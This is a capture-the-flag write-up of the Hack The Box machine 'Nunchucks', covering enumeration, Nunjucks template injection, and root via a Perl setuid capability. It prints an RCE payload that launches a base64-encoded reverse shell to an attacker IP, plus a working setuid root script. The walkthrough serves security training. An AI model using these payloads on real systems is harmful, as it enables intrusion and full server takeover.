Nunchucks Writeup

05 October 2022 #CTF #HTB #box #easy #linux

nunchucks info

Enumeration

You WILL run an nmap scan and you WILL be happy:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.122
[...]
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts.nmap 10.10.11.122
[...]
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
[...]

HTTP

First things first: add nunchucks.htb to /etc/hosts as the nmap scan told us.

Now we can visit the website:

nunchucks web page

There is a signup page:

nunchucks signup page

But it looks like we can't register a new account.

Same for login:

We have a domain name so we can try subdomain bruteforcing with gobuster in vhost mode:

$ gobuster vhost -u https://nunchucks.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -o enum/443-nunchucks.htb.vhost
Found: store.nunchucks.htb (Status: 200) [Size: 4029]

After adding store.nunchucks.htb to /etc/hosts (again) we can check out the page:

store.nunchucks.htb

We have this email input field to play with. Let's do it in Burp:

burp email send

Our email address is displayed on the response so we can try common SSTI payloads like {{7*7}}:

basic SSTI payload

And it works. Now we have to find out what templating engine is used. We know the website uses Express.js (from the X-Powered-By header) so we can look only for those that are used with Express. Here is a list that contains a template engine called 'Nunjucks' which is most likely what we want, given the name of the box.

Foothold

Going to hacktricks we find a rce payload that we'll modify a bit to send us a reverse shell from base64:

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvNDI0MiAgICAwPiYx | base64 -d  | bash')\")()}}

And boom, we get in as 'david'.

Privesc

Going to david's home directory to get the user flag, we notice a .viminfo file:

david@nunchucks:~$ ls -lA
total 44
lrwxrwxrwx 1 root  root     9 Aug 28  2021 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 david david 3771 Feb 25  2020 .bashrc
drwxr-xr-x 7 david david 4096 Sep 25  2021 .cache
drwx------ 8 david david 4096 Sep 25  2021 .config
drwx------ 3 david david 4096 Sep 25  2021 .gnupg
drwx------ 3 david david 4096 Sep 25  2021 .local
drwxrwxr-x 5 david david 4096 Oct  5 14:27 .pm2
-rw-r--r-- 1 david david  807 Feb 25  2020 .profile
-r--r----- 1 root  david   33 Oct  5 14:27 user.txt
-rw------- 1 david david 5116 Oct 22  2021 .viminfo

viminfo files are like history files so it might be interesting. Inside we can see some stuff about a script in /opt so let's go there:

david@nunchucks:~$ ls -A /opt
backup.pl  web_backups
david@nunchucks:~$ ls /opt/web_backups/
backup_2021-09-26-1632618416.tar  backup_2021-09-26-1632619104.tar

The script will backup the contents of /var/www but the interesting thing is that is using setuid:

david@nunchucks:~$ head -6 /opt/backup.pl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
david@nunchucks:~$ getcap $(which perl)
/usr/bin/perl = cap_setuid+ep

The perl binary as indeed the setuid capability.

However running the command from GTFObins fails:

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:~$ id
uid=1000(david) gid=1000(david) groups=1000(david)

The way I got this to work is by writing a perl script that does exactly what the previous command does:

david@nunchucks:~$ cat gimmeroot.sh
#!/usr/bin/perl

use POSIX qw(setuid);
POSIX::setuid(0);

exec "/bin/sh";
david@nunchucks:~$ chmod +x gimmeroot.sh
david@nunchucks:~$ ./gimmeroot.sh
# id
uid=0(root) gid=1000(david) groups=1000(david)

The reason the one liner didn't work is because of AppArmor. If you want a good explanation, check out 0xdf's post.

Key Takeaways